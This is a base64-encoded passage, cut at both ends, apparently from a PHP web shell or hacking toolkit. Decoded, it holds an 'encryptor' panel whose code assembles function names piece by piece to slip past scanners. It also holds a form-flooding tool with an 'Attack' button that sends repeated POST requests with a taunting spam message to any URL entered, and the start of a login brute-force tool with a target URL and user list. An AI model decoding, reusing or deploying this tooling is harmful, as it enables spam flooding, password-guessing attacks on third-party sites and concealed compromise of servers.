FzaWMnIGNoZWNrZWQ+PGxhYmVsPkJhc2ljPC9sYWJlbD4NCgkJCQkJCTxzZWxlY3QgaWQ9J2Jhc2ljLWhhc2gnPg0KCQkJCQkJCTxvcHRpb24gdmFsdWU9J21kNSc+TWQ1PC9vcHRpb24+DQoJCQkJCQkJPG9wdGlvbiB2YWx1ZT0nYXNjJz5DaGFyPC9vcHRpb24+DQoJCQkJCQkJPG9wdGlvbiB2YWx1ZT0nY2hyJz5Bc2NpaTwvb3B0aW9uPg0KCQkJCQkJCTxvcHRpb24gdmFsdWU9J3NoYTEnPlNoYTE8L29wdGlvbj4NCgkJCQkJCQk8b3B0aW9uIHZhbHVlPSdjcmMzMic+Q3JjMzI8L29wdGlvbj4NCgkJCQkJCQk8b3B0aW9uIHZhbHVlPSdCNjRFJz5CNjRFPC9vcHRpb24+DQoJCQkJCQkJPG9wdGlvbiB2YWx1ZT0nQjY0RCc+QjY0RDwvb3B0aW9uPg0KCQkJCQkJCTxvcHRpb24gdmFsdWU9J3VybGVuY29kZSc+VVJMIEVuY29kZTwvb3B0aW9uPg0KCQkJCQkJCTxvcHRpb24gdmFsdWU9J3VybGRlY29kZSc+VVJMIERlY29kZTwvb3B0aW9uPg0KCQkJCQkJCTxvcHRpb24gdmFsdWU9J3N0cmxlbic+U3RyaW5nIExlbmd0aDwvb3B0aW9uPg0KCQkJCQkJCTxvcHRpb24gdmFsdWU9J3N0cnJldic+U3RyaW5nIFJldmVyc2U8L29wdGlvbj4NCgkJCQkJCQk8b3B0aW9uIHZhbHVlPSdiYXNlNjRfZW5jb2RlJz5CYXNlNjQgRW5jb2RlPC9vcHRpb24+DQoJCQkJCQkJPG9wdGlvbiB2YWx1ZT0nYmFzZTY0X2RlY29kZSc+QmFzZTY0IERlY29kZTwvb3B0aW9uPg0KCQkJCQkJCTxvcHRpb24gdmFsdWU9J2VudHRpZXMnPkh0bWxlbnRpdGllczwvb3B0aW9uPg0KCQkJCQkJCTxvcHRpb24gdmFsdWU9J3NwZWNoYXInPkh0bWxzcGVjaWFsY2hhcnM8L29wdGlvbj4NCgkJCQkJCTwvc2VsZWN0Pg0KCQkJCQk8L2Rpdj4NCgkJCQkJPGRpdiBjbGFzcz0naGFzaCc+DQoJCQkJCQk8aW5wdXQgdHlwZT0ncmFkaW8nIG5hbWU9J2VuY3InIHZhbHVlPSdleHRyYSc+PGxhYmVsPkV4dHJhPC9sYWJlbD4NCgkJCQkJCTxzZWxlY3QgaWQ9J2V4dHJhLWhhc2gnPg0KCQkJCQkJCTxvcHRpb24gdmFsdWU9J2FzYy1oZXgnPkFzY2lpID0+IEhleDwvb3B0aW9uPg0KCQkJCQkJCTxvcHRpb24gdmFsdWU9J2FzYy1iaW4nPkFzY2lpID0+IEJpbmFyeTwvb3B0aW9uPg0KCQkJCQkJCTxvcHRpb24gdmFsdWU9J2hleC1hc2MnPkhleCA9PiBBc2NpaTwvb3B0aW9uPg0KCQkJCQkJCTxvcHRpb24gdmFsdWU9J2hleC1iaW4nPkhleCA9PiBCaW5hcnk8L29wdGlvbj4NCgkJCQkJCQk8b3B0aW9uIHZhbHVlPSdiaW4tYXNjJz5CaW5hcnkgPT4gQXNjaWk8L29wdGlvbj4NCgkJCQkJCQk8b3B0aW9uIHZhbHVlPSdiaW4taGV4Jz5CaW5hcnkgPT4gSGV4PC9vcHRpb24+DQoJCQkJCQk8L3NlbGVjdD4NCgkJCQkJPC9kaXY+DQoJCQkJCTxkaXYgY2xhc3M9J2hhc2gnPg0KCQkJCQkJPGlucHV0IHR5cGU9J3JhZGlvJyBuYW1lPSdlbmNyJyB2YWx1ZT0nY3J5cHQnPjxsYWJlbD5DcnlwdDwvbGFiZWw+DQoJCQkJCQk8aW5wdXQgdHlwZT0ndGV4dCcgaWQ9J2NyeXB0LXNhbHQnIG5hbWU9J3NhbHQnIHBsYWNlaG9sZGVyPSdcJGFsdCcvPg0KCQkJCQk8L2Rpdj4NCgkJCQkJPGRpdiBjbGFzcz0naGFzaCc+DQoJCQkJCQk8aW5wdXQgdHlwZT0ncmFkaW8nIG5hbWU9J2VuY3InIHZhbHVlPSdoYXNoJz48bGFiZWw+SGFzaDwvbGFiZWw+DQoJCQkJCQk8c2VsZWN0IGlkPSdoYXNoLWhhc2gnPjxvcHRpb24gdmFsdWU9J21kMic+bWQyPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0nbWQ0Jz5tZDQ8L29wdGlvbj48b3B0aW9uIHZhbHVlPSdtZDUnPm1kNTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J3NoYTEnPnNoYTE8L29wdGlvbj48b3B0aW9uIHZhbHVlPSdzaGEyNTYnPnNoYTI1Njwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J3NoYTM4NCc+c2hhMzg0PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0nc2hhNTEyJz5zaGE1MTI8L29wdGlvbj48b3B0aW9uIHZhbHVlPSdyaXBlbWQxMjgnPnJpcGVtZDEyODwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J3JpcGVtZDE2MCc+cmlwZW1kMTYwPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0ncmlwZW1kMjU2Jz5yaXBlbWQyNTY8L29wdGlvbj48b3B0aW9uIHZhbHVlPSdyaXBlbWQzMjAnPnJpcGVtZDMyMDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J3doaXJscG9vbCc+d2hpcmxwb29sPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0ndGlnZXIxMjgsMyc+dGlnZXIxMjgsMzwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J3RpZ2VyMTYwLDMnPnRpZ2VyMTYwLDM8L29wdGlvbj48b3B0aW9uIHZhbHVlPSd0aWdlcjE5MiwzJz50aWdlcjE5MiwzPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0ndGlnZXIxMjgsNCc+dGlnZXIxMjgsNDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J3RpZ2VyMTYwLDQnPnRpZ2VyMTYwLDQ8L29wdGlvbj48b3B0aW9uIHZhbHVlPSd0aWdlcjE5Miw0Jz50aWdlcjE5Miw0PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0nc25lZnJ1Jz5zbmVmcnU8L29wdGlvbj48b3B0aW9uIHZhbHVlPSdnb3N0Jz5nb3N0PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0nYWRsZXIzMic+YWRsZXIzMjwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J2NyYzMyJz5jcmMzMjwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J2NyYzMyYic+Y3JjMzJiPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0naGF2YWwxMjgsMyc+aGF2YWwxMjgsMzwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J2hhdmFsMTYwLDMnPmhhdmFsMTYwLDM8L29wdGlvbj48b3B0aW9uIHZhbHVlPSdoYXZhbDE5MiwzJz5oYXZhbDE5MiwzPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0naGF2YWwyMjQsMyc+aGF2YWwyMjQsMzwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J2hhdmFsMjU2LDMnPmhhdmFsMjU2LDM8L29wdGlvbj48b3B0aW9uIHZhbHVlPSdoYXZhbDEyOCw0Jz5oYXZhbDEyOCw0PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0naGF2YWwxNjAsNCc+aGF2YWwxNjAsNDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J2hhdmFsMTkyLDQnPmhhdmFsMTkyLDQ8L29wdGlvbj48b3B0aW9uIHZhbHVlPSdoYXZhbDIyNCw0Jz5oYXZhbDIyNCw0PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0naGF2YWwyNTYsNCc+aGF2YWwyNTYsNDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J2hhdmFsMTI4LDUnPmhhdmFsMTI4LDU8L29wdGlvbj48b3B0aW9uIHZhbHVlPSdoYXZhbDE2MCw1Jz5oYXZhbDE2MCw1PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0naGF2YWwxOTIsNSc+aGF2YWwxOTIsNTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J2hhdmFsMjI0LDUnPmhhdmFsMjI0LDU8L29wdGlvbj48b3B0aW9uIHZhbHVlPSdoYXZhbDI1Niw1Jz5oYXZhbDI1Niw1PC9vcHRpb24+PC9zZWxlY3Q+DQoJCQkJCQk8aW5wdXQgdHlwZT0nY2hlY2tib3gnIGlkPSdoYXNoLXJhdycvPiBSYXcNCgkJCQkJPC9kaXY+DQoJCQkJCTxkaXYgY2xhc3M9J2hhc2gnPg0KCQkJCQkJPGlucHV0IHR5cGU9J3N1Ym1pdCcgb25jbGljaz1cIg0KCQkJCQkJdXJsPScnOw0KCQkJCQkJdGV4dGVuY29kZT13aW5kb3cuYnRvYShkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnaGFzaHRleHQnKS52YWx1ZSk7DQoJCQkJCQlyYWRpb3M9ZG9jdW1lbnQuZ2V0RWxlbWVudHNCeU5hbWUoJ2VuY3InKTsNCgkJCQkJCWZvcih2YXIgaT0wLGxlbmd0aD1yYWRpb3MubGVuZ3RoO2k8bGVuZ3RoO2krKyl7DQoJCQkJCQkJaWYgKHJhZGlvc1tpXS5jaGVja2VkKXsNCgkJCQkJCQkJc3dpdGNoKHJhZGlvc1tpXS52YWx1ZSl7DQoJCQkJCQkJCQljYXNlICdiYXNpYyc6DQoJCQkJCQkJCQkJdXJsPSc/ej1lbmNyeXB0b3Imb3B0PWJhc2ljJmhhc2g9Jytkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYmFzaWMtaGFzaCcpLnZhbHVlKycmdGV4dC1lbmNvZGU9Jyt0ZXh0ZW5jb2RlOw0KCQkJCQkJCQkJYnJlYWs7DQoJCQkJCQkJCQljYXNlICdleHRyYSc6DQoJCQkJCQkJCQkJdXJsPSc/ej1lbmNyeXB0b3Imb3B0PWV4dHJhJmhhc2g9Jytkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZXh0cmEtaGFzaCcpLnZhbHVlKycmdGV4dC1lbmNvZGU9Jyt0ZXh0ZW5jb2RlOw0KCQkJCQkJCQkJYnJlYWs7DQoJCQkJCQkJCQljYXNlICdjcnlwdCc6DQoJCQkJCQkJCQkJdXJsPSc/ej1lbmNyeXB0b3Imb3B0PWNyeXB0JnNhbHQ9Jytkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnY3J5cHQtc2FsdCcpLnZhbHVlKycmdGV4dC1lbmNvZGU9Jyt0ZXh0ZW5jb2RlOw0KCQkJCQkJCQkJYnJlYWs7DQoJCQkJCQkJCQljYXNlICdoYXNoJzoNCgkJCQkJCQkJCQl1cmw9Jz96PWVuY3J5cHRvciZvcHQ9aGFzaCZoYXNoPScrZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2hhc2gtaGFzaCcpLnZhbHVlKycmcmF3PScrZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2hhc2gtcmF3JykuY2hlY2tlZCsnJnRleHQtZW5jb2RlPScrdGV4dGVuY29kZTsNCgkJCQkJCQkJCWJyZWFrOw0KCQkJCQkJCQl9DQoJCQkJCQkJCWJyZWFrOw0KCQkJCQkJCX0NCgkJCQkJCX0NCgkJCQkJCXJldHVybiBnZXRBamF4KGZhbHNlLCdoYXNocmVzdWx0JywnUE9TVCcsdXJsKTsNCgkJCQkJCVwiLz4NCgkJCQkJCTxpbnB1dCB0eXBlPSdzdWJtaXQnIG9uY2xpY2s9XCINCgkJCQkJCQl0ZW1waT1kb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnaGFzaHJlc3VsdCcpLnZhbHVlOw0KCQkJCQkJCXRlbXBpMT1kb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnaGFzaHRleHQnKS52YWx1ZTsNCgkJCQkJCQlkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnaGFzaHRleHQnKS52YWx1ZT10ZW1waS50cmltKCk7DQoJCQkJCQkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2hhc2hyZXN1bHQnKS52YWx1ZT10ZW1waTEudHJpbSgpOw0KCQkJCQkJXCIgdmFsdWU9J1N3YXAnLz4NCgkJCQkJPC9kaXY+DQoJCQkJPC9kaXY+DQoJCQkJPGRpdiBjbGFzcz0naGFzaC1jYXB0dXJlJz4NCgkJCQkJPGRpdiBjbGFzcz0naGFzaC1jYXB0dXJlLWxlZnQnPg0KCQkJCQkJPGxhYmVsPlN0cmluZzwvbGFiZWw+PHRleHRhcmVhIGlkPSdoYXNodGV4dCc+PC90ZXh0YXJlYT4NCgkJCQkJCTxpbnB1dCB0eXBlPSdzdWJtaXQnIG9uY2xpY2s9XCINCgkJCQkJCQlkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnaGFzaHRleHQnKS52YWx1ZT0nJzsNCgkJCQkJCVwiIHZhbHVlPSdDbGVhcicvPg0KCQkJCQk8L2Rpdj4NCgkJCQkJPGRpdiBjbGFzcz0naGFzaC1jYXB0dXJlLXJpZ2h0Jz4NCgkJCQkJCTxsYWJlbD5SZXN1bHQ8L2xhYmVsPjx0ZXh0YXJlYSBpZD0naGFzaHJlc3VsdCc+PC90ZXh0YXJlYT4NCgkJCQkJCTxpbnB1dCB0eXBlPSdzdWJtaXQnIG9uY2xpY2s9XCINCgkJCQkJCQlkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnaGFzaHJlc3VsdCcpLnZhbHVlPScnOw0KCQkJCQkJXCIgdmFsdWU9J0NsZWFyJy8+DQoJCQkJCTwvZGl2Pg0KCQkJCTwvZGl2Pg0KCQkJPC9mb3JtPg0KCQk8L2Rpdj4iKTsNCg0KCQlmdW5jdGlvbiBjaHJfYXNjKCRzdHIpew0KCQkJJGFzYz0nJzsNCgkJCWZvcigkaT0wOyRpPHN0cmxlbigkc3RyKTskaSsrKSANCgkJCQkkYXNjLj1vcmQoJHN0cnskaX0pLicgJzsNCgkJCXJldHVybiBydHJpbSgkYXNjKTsNCgkJfQ0KDQoJCWZ1bmN0aW9uIGFzY19jaHIoJGFzYyl7DQoJCQkkc3RyPScnOw0KCQkJaWYgKHN0cnBvcygkYXNjLCcgJykpew0KCQkJCSRleHBzPWV4cGxvZGUoJyAnLCRhc2MpOw0KCQkJCWZvcmVhY2goJGV4cHMgYXMgJGV4cCkNCgkJCQkJJHN0ci49Y2hyKCRleHApOw0KCQkJfWVsc2V7DQoJCQkJJHN0cj1jaHIoJGFzYyk7DQoJCQl9DQoJCQlyZXR1cm4gJHN0cjsNCgkJfQ0KDQoJCWZ1bmN0aW9uIGFzY19oZXgoJGFzYyl7DQoJCQkkaGV4PScnOw0KCQkJZm9yICgkaT0wOyRpPHN0cmxlbigkYXNjKTskaSsrKSANCgkJCQkkaGV4Lj1zcHJpbnRmKCIlMDJ4IixvcmQoc3Vic3RyKCRhc2MsJGksMSkpKTsNCgkJCXJldHVybiAkaGV4Ow0KCQl9DQoNCgkJZnVuY3Rpb24gaGV4X2FzYygkaGV4KXsNCgkJCSRhc2M9Jyc7DQoJCQlmb3IgKCRpPTA7JGk8c3RybGVuKCRoZXgpOyRpKz0yKSANCgkJCQkkYXNjLj1jaHIoaGV4ZGVjKHN1YnN0cigkaGV4LCRpLDIpKSk7DQoJCQlyZXR1cm4gJGFzYzsNCgkJfQ0KDQoJCWZ1bmN0aW9uIGhleF9iaW4oJGhleCl7DQoJCQkkYmluPScnOw0KCQkJZm9yKCRpPTA7JGk8c3RybGVuKCRoZXgpOyRpKyspDQoJCQkJJGJpbi49c3RyX3BhZChkZWNiaW4oaGV4ZGVjKCRoZXh7JGl9KSksNCwnMCcsU1RSX1BBRF9MRUZUKTsNCgkJCXJldHVybiAkYmluOw0KCQl9DQoNCgkJZnVuY3Rpb24gYmluX2hleCgkYmluKXsNCgkJCSRoZXg9Jyc7DQoJCQlmb3IoJGk9c3RybGVuKCRiaW4pLTQ7JGk+PTA7JGktPTQpDQoJCQkJJGhleC49ZGVjaGV4KGJpbmRlYyhzdWJzdHIoJGJpbiwkaSw0KSkpOw0KCQkJcmV0dXJuIHN0cnJldigkaGV4KTsNCgkJfQ0KDQoJCWZ1bmN0aW9uIGFzY19iaW4oJGFzYyl7DQoJCQkkaGV4PWFzY19oZXgoJGFzYyk7DQoJCQlyZXR1cm4gaGV4X2JpbigkaGV4KTsNCgkJfQ0KDQoJCWZ1bmN0aW9uIGJpbl9hc2MoJGJpbil7IA0KCQkgICAgJGhleD1iaW5faGV4KCRiaW4pOw0KCQkJcmV0dXJuIGhleF9hc2MoJGhleCk7DQoJCX0NCgkJDQoJCWlmKGFueSgib3B0IiwkX1JFUVVFU1QpKQ0KCQl7DQoJCQlvYl9jbGVhbigpOw0KCQkJJG9wdD0kX1JFUVVFU1RbJ29wdCddOw0KCQkJJF9hPSJiIjskX2I9ImEiOyRfYz0icyI7JF9kPSJlIjskX2U9IjYiOyRfZj0iNCI7DQoJCQkkX2c9Il8iOyRfaD0iZSI7JF9pPSJuIjskX2o9ImMiOyRfaz0ibyI7JF9sPSJkIjskX209ImUiOw0KCQkJJGI2NGU9JF9hLiRfYi4kX2MuJF9kLiRfZS4kX2YuJF9nLiRfaC4kX2kuJF9qLiRfay4kX2wuJF9tOw0KCQkJJGI2NGQ9JF9hLiRfYi4kX2MuJF9kLiRfZS4kX2YuJF9nLiRfbC4kX20uJF9qLiRfay4kX2wuJF9tOw0KCQkJJHRleHQ9JGI2NGQoJF9QT1NUWyd0ZXh0LWVuY29kZSddKTsNCgkJCWlmICgkb3B0PT0nYmFzaWMnKQ0KCQkJew0KCQkJCSRoYXNoPSRfUkVRVUVTVFsnaGFzaCddOw0KCQkJCXN3aXRjaCgkaGFzaCkNCgkJCQl7DQoJCQkJCWNhc2UgIm1kNSI6cHJpbnQgbWQ1KCR0ZXh0KTticmVhazsNCgkJCQkJY2FzZSAic2hhMSI6cHJpbnQgc2hhMSgkdGV4dCk7YnJlYWs7DQoJCQkJCWNhc2UgImNociI6cHJpbnQgYXNjX2NocigkdGV4dCk7YnJlYWs7DQoJCQkJCWNhc2UgImFzYyI6cHJpbnQgY2hyX2FzYygkdGV4dCk7YnJlYWs7DQoJCQkJCWNhc2UgImNyYzMyIjpwcmludCBjcmMzMigkdGV4dCk7YnJlYWs7DQoJCQkJCWNhc2UgInN0cmxlbiI6cHJpbnQgc3RybGVuKCR0ZXh0KTticmVhazsNCgkJCQkJY2FzZSAic3RycmV2IjpwcmludCBzdHJyZXYoJHRleHQpO2JyZWFrOw0KCQkJCQljYXNlICJ1cmxlbmNvZGUiOnByaW50IHVybGVuY29kZSgkdGV4dCk7YnJlYWs7DQoJCQkJCWNhc2UgInVybGRlY29kZSI6cHJpbnQgdXJsZGVjb2RlKCR0ZXh0KTticmVhazsNCgkJCQkJY2FzZSAiZW50dGllcyI6cHJpbnQgaHRtbGVudGl0aWVzKCR0ZXh0KTticmVhazsNCgkJCQkJY2FzZSAic3BlY2hhciI6cHJpbnQgaHRtbHNwZWNpYWxjaGFycygkdGV4dCk7YnJlYWs7DQoJCQkJCWNhc2UgImJhc2U2NF9lbmNvZGUiOnByaW50ICRiNjRlKCR0ZXh0KTticmVhazsNCgkJCQkJY2FzZSAiYmFzZTY0X2RlY29kZSI6cHJpbnQgJGI2NGQoJHRleHQpO2JyZWFrOw0KCQkJCQljYXNlICJCNjRFIjpwcmludCBCNjRFKCR0ZXh0KTticmVhazsNCgkJCQkJY2FzZSAiQjY0RCI6cHJpbnQgQjY0RCgkdGV4dCk7YnJlYWs7DQoJCQkJfQ0KCQkJfQ0KCQkJZWxzZWlmKCRvcHQ9PSdleHRyYScpDQoJCQl7DQoJCQkJJGhhc2g9JF9SRVFVRVNUWydoYXNoJ107DQoJCQkJc3dpdGNoKCRoYXNoKQ0KCQkJCXsNCgkJCQkJY2FzZSAiY2hyLWFzYyI6cHJpbnQgc3RyX2FzYygkdGV4dCk7YnJlYWs7DQoJCQkJCWNhc2UgImFzYy1jaHIiOnByaW50IGFzY19zdHIoJHRleHQpO2JyZWFrOw0KCQkJCQljYXNlICJhc2MtaGV4IjpwcmludCBhc2NfaGV4KCR0ZXh0KTticmVhazsNCgkJCQkJY2FzZSAiaGV4LWFzYyI6cHJpbnQgaGV4X2FzYygkdGV4dCk7YnJlYWs7DQoJCQkJCWNhc2UgImhleC1iaW4iOnByaW50IGhleF9iaW4oJHRleHQpO2JyZWFrOw0KCQkJCQljYXNlICJiaW4taGV4IjpwcmludCBiaW5faGV4KCR0ZXh0KTticmVhazsNCgkJCQkJY2FzZSAiYXNjLWJpbiI6cHJpbnQgYXNjX2JpbigkdGV4dCk7YnJlYWs7DQoJCQkJCWNhc2UgImJpbi1hc2MiOnByaW50IGJpbl9hc2MoJHRleHQpO2JyZWFrOw0KCQkJCX0NCgkJCX0NCgkJCWVsc2VpZigkb3B0PT0nY3J5cHQnKQ0KCQkJew0KCQkJCSRzYWx0PSRfUkVRVUVTVFsnc2FsdCddOw0KCQkJCXByaW50IGNyeXB0KCR0ZXh0LCRzYWx0KTsNCgkJCX0NCgkJCWVsc2VpZigkb3B0PT0naGFzaCcpDQoJCQl7DQoJCQkJJGhhc2g9JF9SRVFVRVNUWydoYXNoJ107DQoJCQkJJHJhdz0kX1JFUVVFU1RbJ3JhdyddOw0KCQkJCWlmKCRyYXc9PXRydWUpDQoJCQkJew0KCQkJCQlwcmludCBoYXNoKCRoYXNoLCR0ZXh0LHRydWUpOw0KCQkJCX0NCgkJCQllbHNlDQoJCQkJew0KCQkJCQlwcmludCBoYXNoKCRoYXNoLCR0ZXh0KTsNCgkJCQl9DQoJCQl9DQoJCQlleGl0Ow0KCQl9DQoJfQ0KCWlmKCR6PT0iZm9ybS1icnV0ZWZvcmNlcyIpDQoJew0KCQlwcmludCAiPGRpdiBjbGFzcz0ndG9vbHMtaGVhZGVyJz4NCgkJCSAgPGgzPiIuJG1lbnVfdG9vbHNbJHpdWyd0aXRsZSddLiIgdiIuJG1lbnVfdG9vbHNbJHpdWyd2ZXInXS4iPC9oMz4NCgkJCSAgPGgzPiBieTogIi4kbWVudV90b29sc1skel1bJ2F1dGgnXS4iPC9oMz4NCgkJICA8L2Rpdj4iOw0KDQoJCSAkZXhwPWFycmF5KA0KCQkgCSd7JywNCgkJIAknIm5hbWUiOiJIYW5kc29tZSIsJywNCgkJIAknImVtYWlsIjoidmVyeUBoYW5kc29tZS5jb20iLCcsDQoJCSAJJyJzdWJqZWN0IjoiV0hPT1BTIFlPVSBHT1QgRS1NQUlMID8hIiwnLA0KCQkgCScibWVzc2FnZSI6IkhBIEhBIEhBIEhBIEhBIEhBIEhBIEhBIiwnLA0KCQkgCSd9Jyk7DQoNCgkJcHJpbnRmKCI8ZGl2IGNsYXNzPSdkaXZpZGUnPg0KCQkJCTxkaXYgY2xhc3M9J2RpdmlkZS1sZWZ0Jz4NCgkJCQkJPGZvcm0gb25zdWJtaXQ9J3JldHVybiBmYWxzZTsnIGNsYXNzPSduZXcnPg0KCQkJCQkJPGxhYmVsPlVybCBBY3Rpb248L2xhYmVsPjxpbnB1dCB0eXBlPSd0ZXh0JyBpZD0nZm9ybS11cmwnIHBsYWNlaG9sZGVyPSdodHRwOi8vJy8+PGJyPg0KCQkJCQkJPGxhYmVsPkNvdW50J3M8L2xhYmVsPjxpbnB1dCB0eXBlPSdudW1iZXInIGlkPSdmb3JtLWNvdW50JyB2YWx1ZT0nMTAwJyBtaW49JzEwJyBhdXRvY29tcGxldGU9J29mZicvPjxicj4NCgkJCQkJCTxsYWJlbD5QYXJhbWV0ZXIgKEpTT04pPC9sYWJlbD4NCgkJCQkJCTx0ZXh0YXJlYSBpZD0nZm9ybS1wYXJhbWV0ZXInPiVzPC90ZXh0YXJlYT4NCgkJCQkJCTxpbnB1dCB0eXBlPSdzdWJtaXQnIG9uY2xpY2s9XCJyZXR1cm4gYWpheEFib3J0KHRydWUsJ2Zvcm0tcmVzdWx0JylcIiB2YWx1ZT1DYW5jZWwgLz4NCgkJCQkJCTxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSdBdHRhY2snIG9uY2xpY2s9XCJyZXR1cm4gZ2V0QWpheCh0cnVlLCdmb3JtLXJlc3VsdCcsJ1BPU1QnLCc/ej1mb3JtLWJydXRlZm9yY2VzJnVybD0nK2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdmb3JtLXVybCcpLnZhbHVlKycmcGFyYW1ldGVyPScrZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2Zvcm0tcGFyYW1ldGVyJykudmFsdWUrJyZjb3VudD0nK2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdmb3JtLWNvdW50JykudmFsdWUpO1wiLz48YnI+DQoJCQkJCTwvZm9ybT4NCgkJCQk8L2Rpdj4NCgkJCQk8ZGl2IGNsYXNzPSdkaXZpZGUtcmlnaHQnPg0KCQkJCQk8ZmllbGRzZXQ+DQoJCQkJCQk8bGVnZW5kPlJlc3VsdCdzPC9sZWdlbmQ+DQoJCQkJCQk8ZGl2IGlkPSdmb3JtLXJlc3VsdCcgY2xhc3M9J3Jlc3VsdCc+PC9kaXY+DQoJCQkJCTwvZmllbGRzZXQ+DQoJCQkJPC9kaXY+DQoJCQk8L2Rpdj4iLGltcGxvZGUoJGV4cCwiXG4iKSk7DQoNCgkJaWYoYW55KCJ1cmwiLCRfUkVRVUVTVCkmJmFueSgicGFyYW1ldGVyIiwkX1JFUVVFU1QpKQ0KCQl7DQoJCQlvYl9jbGVhbigpOw0KCQkJJHN0YXJ0PSRzdWNjPSRmYWlsPTA7DQoJCQkkdXJsPSRfUkVRVUVTVFsndXJsJ107DQoJCQkkY291bnQ9JF9SRVFVRVNUWydjb3VudCddOw0KCQkJJHBhcmFtZXRlcj0kX1JFUVVFU1RbJ3BhcmFtZXRlciddOw0KCQkJJGNvbnRlbnQ9anNvbl9kZWNvZGUoJHBhcmFtZXRlcix0cnVlKTsNCgkJCWlmKCFpc19hcnJheSgkY29udGVudCkpJGNvbnRlbnQ9YXJyYXkoKTsNCgkJCWRvIHskc3RhcnQrKzsNCgkJCQkkY2g9Y3VybF9pbml0KCk7DQoJCQkJY3VybF9zZXRvcHQoJGNoLENVUkxPUFRfVVNFUkFHRU5ULCRhZ2VudCk7DQoJCQkJY3VybF9zZXRvcHQoJGNoLENVUkxPUFRfVVJMLCR1cmwpOw0KCQkJCWN1cmxfc2V0b3B0KCRjaCxDVVJMT1BUX1BPU1QsMSk7DQoJCQkJY3VybF9zZXRvcHQoJGNoLENVUkxPUFRfQ09OTkVDVFRJTUVPVVQsMTApOw0KCQkJCWN1cmxfc2V0b3B0KCRjaCxDVVJMT1BUX1BPU1RGSUVMRFMsaHR0cF9idWlsZF9xdWVyeSgkY29udGVudCkpOw0KCQkJCWN1cmxfc2V0b3B0KCRjaCxDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLDEpOw0KCQkJCWN1cmxfc2V0b3B0KCRjaCxDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLDEpOw0KCQkJCSRyZXN1bHQ9Y3VybF9leGVjKCRjaCk7DQoJCQkJJGh0dHBjb2RlPWN1cmxfZ2V0aW5mbygkY2gsQ1VSTElORk9fSFRUUF9DT0RFKTsNCgkJCQlpZihjdXJsX2Vycm9yKCRjaCkpIGVjaG8gY3VybF9lcnJvcigkY2gpOw0KCQkJCWN1cmxfY2xvc2UoJGNoKTsNCgkJCQlpZigkaHR0cGNvZGU9PTIwMCkNCgkJCQl7DQoJCQkJCSRzdWNjKys7DQoJCQkJfQ0KCQkJCWVsc2UNCgkJCQl7DQoJCQkJCSRmYWlsKys7DQoJCQkJfQ0KCQkJCWlmKCRzdGFydD09JGNvdW50KQ0KCQkJCXsNCgkJCQkJZWNobyAiU3VjY2VzczogJHN1Y2M8YnI+RmFpbGVkOiAkZmFpbDxicj5NZXNzYWdlczogIi5odG1sc3BlY2lhbGNoYXJzKCRyZXN1bHQpOw0KCQkJCX0NCgkJCX13aGlsZSgkc3RhcnQ8PSRjb3VudCk7DQoJCQlleGl0Ow0KCQl9DQoJfQ0KCWlmKCR6PT0ibG9naW4tYnJ1dGVmb3JjZXMiKQ0KCXsNCgkJcHJpbnQgIjxkaXYgY2xhc3M9J3Rvb2xzLWhlYWRlcic+DQoJCQkgIDxoMz4iLiRtZW51X3Rvb2xzWyR6XVsndGl0bGUnXS4iIHYiLiRtZW51X3Rvb2xzWyR6XVsndmVyJ10uIjwvaDM+DQoJCQkgIDxoMz4gYnk6ICIuJG1lbnVfdG9vbHNbJHpdWydhdXRoJ10uIjwvaDM+DQoJCSAgPC9kaXY+IjsNCg0KCQlwcmludGYoIjxkaXYgaWQ9J2xvZ2luLWJydXRlZm9yY2VzJz4NCgkJCTxkaXYgY2xhc3M9J2RpdmlkZS1sZWZ0Jz4NCgkJCQk8Zm9ybSBvbnN1Ym1pdD0ncmV0dXJuIGZhbHNlOycgY2xhc3M9J25ldyc+DQoJCQkJCTxsYWJlbD5VcmwgQWN0aW9uPC9sYWJlbD48aW5wdXQgdHlwZT0ndGV4dCcgaWQ9J2xvZ2luLXVybCcgcGxhY2Vob2xkZXI9J2h0dHA6Ly8nLz48YnI+DQoJCQkJCTxsYWJlbD5Vc2VyIExpc3Q8L2xhYmVsPjxpbnB1dCB0eXBlPSd0ZXh0JyBpZD0nbG9naW4tdXNlcicgcGxhY2Vob2xkZXI9J2FkbWluJyB2YWx1ZT0nYWRtaW4nLz48YnI+DQoJCQkJCTxsYWJl